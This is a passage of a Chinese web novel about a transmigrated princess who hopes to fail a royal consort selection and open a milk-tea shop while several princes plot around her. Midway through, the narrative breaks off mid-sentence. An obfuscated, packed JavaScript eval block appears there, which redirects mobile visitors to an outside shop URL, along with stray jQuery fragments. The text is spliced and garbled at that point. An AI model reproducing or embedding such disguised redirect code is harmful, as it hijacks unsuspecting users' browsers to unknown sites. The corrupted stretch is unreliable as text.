听完小丫鬟的讲完,柳晞月的嘴角当即勾起一抹轻蔑的冷笑。

    她还以为北地来的公主,能有什么了不得的本事,没想到原来竟是个上不了台面的草包,这样不堪的人,怎么可能入得了鸿王的眼?根本不配当她的对手。

    “不过,也不能掉以轻心。”柳晞月收敛了唇边的笑意,柔声吩咐说,“明日选妃,先找个机会,给她找点麻烦,让她在王爷和皇上面前出个大丑,最好能直接给撵出别院去,省得留在这儿碍眼。”

    “是,小姐放心,奴婢都安排好了。”

    *

    而与此同时,鸿王暂住的主院里,方镜已经把有关云苓?的初步调查,送到了宇文临砚面前。

    “王爷,此乃北地传过来的消息。三公主云苓?,是云屹川?的庶女,生母是魅族的女子,常年卧病。云苓公主十岁误食药物毁了容貌,在府里一直不受宠,被主母风凰凤及嫡姐云鬓长年虐待,生性怯懦,并无任何出众地方。这次云屹川?送她来选妃,也是有为了攀附王爷?的意思。”

    宇文临砚坐在书案前,手里拿着那份薄薄的资料,手指在“误食药物,毁了容貌”上,轻轻敲了敲。

    误食?

    可笑。

    北地风家的手段,他宇文临砚早有耳闻。就比如说这“毁了容貌”,怕应该就是风凰凤的手段之一。

    一个在嫡母的虐待下,活了十几年的庶女,果真的会像表面看着这般的怯懦胆小吗?

    宇文临砚回想起白日里云苓眼里那一闪而过的恐惧和嫌弃,还有转身就跑的模样,嘴角缓缓勾起一抹冷冽的笑。

    不管她是真胆小,还是装的,他都有的是时间,慢慢看。

    *

    别院最北边凉亭里,宇文临棠?靠坐在亭内,手拿酒囊,一口一口喝着酒。

    身边副将站在旁边,一脸好奇地问道:“王爷,您刚才在湖心亭那边,究竟看到何时,为何笑得这般开心?”

    “看见了个好玩的人。”宇文临棠?喝下一口酒,嘴角的笑意收不住,眼里满是玩味,“你说奇不奇怪?这京城里的贵女但凡见了老八,要么跟闻着腥的猫似的,拼了命地往上凑,要么吓得腿软,话都说不出来。唯独刚才那个北地来的公主,见了老八却跟见了索命的恶鬼似的,跑的比兔子还快。”

    宇文临棠说完顿了顿,又语气里带着了然的补充了一句:“在别人眼里,老八是权倾朝野的鸿王殿下,是能让她们一步登天的人。可依照我看,在北地来的那个公主眼里,老八十有八九就是个大麻烦,她只想赶紧躲开,半点都不想沾。有意思,简直是太有意思了。”

    副将愣了愣,没太明白宇文临棠究竟是何意思,不就是个胆小的秀女吗?有什么有意思的?

    宇文临棠?没再过多解释,只是又喝了一口酒,目光望向云苓?住的那个偏僻跨院的方向,挑了挑眉。

    宇文临棠见过太多聪明人了,满京城的人个个都揣着八百个心眼子,把欲望写在脸上,拼了命地往上爬。可唯独这个北地来的姑娘,眼里却没有半分对权势的渴望,没有半分对鸿王的爱慕,反而只有“赶紧躲开,别来沾边”的嫌弃。

    可见这京城的浑水里,终于来了个不想蹚浑水的人。

    他倒要看看,这个北地姑娘在明天的选妃大典上,还能闹出什么有意思的事来。

    想到这般,笑意再次不自觉的爬上宇文临棠的唇角。

    *

    而在东宫的书房里,太子宇文临风?正坐在书案前,翻看着所有参选秀女的名册。

    他的目光在云苓?的名字上停了下来,听着属下汇报今天湖心亭发生的事,手指轻轻敲击桌面,眉头微微皱起。

    “北地来的云三公主?见了老八,吓得转身就跑?”宇文临风低声重复了一句,眼里满是思量,“不对,不对……能在风凰凤手底下活十几年的人,不可能是个纯粹的草包胆小鬼。”

    宇文临风拿起桌上的《孙子兵法》,随便翻了几页,喃喃自语道:“这莫非就是兵法里说的,能而示之不能,用而示之不用?所谓大智若愚,藏拙避锋?故意装作胆小怯懦,降低老八的戒心,实则另有图谋?”

    越想,他越觉得确实很有道理,眼睛旋即越来越亮。

    “去查。”宇文临风抬头吩咐属下道,“重点查这个云三公主,她的所有动向,一言一行,全部都要报给我。我倒要看看,这个北地来的公主,到底藏了多少本事。”

    夜越来越深了。

    皇家别院的灯笼,一盏接一盏地灭了,可暗地里的动作,却一点都没停。

    各家的眼线在院子里穿梭,密信一封接一封地送出别院,送进皇宫,送进各个王府,送进各个世家府邸。

    所有人都在为了第二日的选妃大典,摩拳擦掌,暗流涌动。

    而这场选妃风暴的中心人物之一,云苓?,却早就洗漱完毕,脑袋才沾枕头,转头就睡得天昏地暗。

    睡前云苓只干了一件事,那就是让琴棋第二天一早,就去街上打听牛乳铺子的消息。

    至于什么选妃,什么鸿王,什么各方势力的算计,她根本半点都没放在心上。

    所谓天大地大,睡觉最大。

    反正天塌下来,有高个子顶着。她只要苟住、摆烂,等着被刷下去,然后开她的奶茶店。

    窗外传来打更的声音,三更天了。

    选妃大典的大幕,就在辰时。

    而这一夜,注定有无数人,彻夜无眠。

    *

    辰时的梆子才敲过第一声,皇家别院澄心殿外,就响起了太监独有的尖细唱喏声。

    朱红殿门被禁军齐齐推开,鎏金铜钉在晨光里晃得人目眩,殿内燃烧着龙涎香,压下了清晨的露水气。澄心殿地上铺着厚厚的猩红地毯,从殿门口一直延伸到最前方的御座前,两侧摆

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17635410|206558||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    着梨花木长案,案上整整齐齐放着笔墨纸砚,皆是为参选秀女们准备的考位。

    云苓?跟在一众秀女的身后,踩着小碎步往大殿里走,身上穿的还是那身素得不能再素的月白色襦裙,头发只松松挽了个双环髻,除了一支素银簪子,半件珠翠都没戴。反观周围的秀女们一个个打扮得花团锦簇,绫罗绸缎上绣着缠枝莲、海棠花,鬓边的珠钗步摇随着步子轻轻摇晃,环佩叮当声不绝于耳,就连走路的姿势都练得分毫不差,腰杆挺得笔直,脸上端着温婉贤淑的笑,眼睛却都偷偷往御座和两侧的王爷席位瞟,眼珠子恨不得都能粘上去。

    跟这群铆足了劲要在今日一鸣惊人的秀女比起来,云苓?活像个走错片场的路人,连头都懒得抬,全程盯着前面人的脚后跟,心里半点波澜都没有,满脑子都是琴棋带回来的消息:城东的刘记牛乳铺,每日寅时现挤的牛乳最是醇厚,城西的万和茶行,新到了一批武夷岩茶,茶味浓,最适合煮奶茶。

    云苓甚至已经在脑子里算计好了,只等她今天把这破选妃试考完,就找个借口溜出去,亲自去那两家铺子看看,顺便再考察考察城东的铺面,城东人流量大,世家府邸也多,有钱人更多,开第一家奶茶店再合适不过了。

    “公主,您抬头看看,前面就是御座了,别老低着头,失了规矩。”书画跟在云苓的身侧,用只有两个人能听见的声音小声提醒道,声音里带着微微的颤抖,“奴婢刚才看见了,鸿王殿下和衡王殿下都坐在左侧席位,太子殿下坐在御座边上,另外还有好几位大儒,都盯着咱们看呢!”

    云苓?闻言,象征性地掀了掀眼皮,飞快地朝殿内扫去。

    只见最前方的御座上,坐着个穿着明黄色龙袍的中年男人,面圆体胖,眼神里带出几分看热闹的散漫,应是昌兴的老皇帝。在老皇帝身边正襟危坐的,则是一身太子朝服的宇文临风,宇文临风眉头微蹙表情严峻,一副标准的储君模样,就连眼神都

    透着股严谨。

    左侧的席位,上首座坐着的是宇文临砚,依旧是一身玄色锦袍,银白面具覆面,只露出一双深不见底的黑眸,正冷冷地扫过入场的秀女,目光冰冷得像淬了冰的刀子。

    而宇文临棠?的座位则和宇文临砚之间隔了两个空位,宇文临棠没穿朝服,只一身月白色锦袍,略显懒散地靠在椅背上,手里把玩着只羊脂玉酒杯,漫不经心地看向殿外,一副事不关己模样,仿佛眼前的选妃大典与他没有半点的关系。

    云苓?的目光只是迅速扫过几人,便飞快收了回来,莫名其妙穿到虐文里来已经够倒霉的了,她可不想因为多看了两眼,就要被宇文临砚那个偏执狂给盯上,更不想被卷进皇室的破事里去。她的目标始终只有一个:第一轮就被刷下去,拿着钱去开奶茶店,走上人生巅峰。

    别沾边,别惹事,摆烂到底,赶紧被刷!

    云苓在心中默默念叨着,只愿尽快心想事成。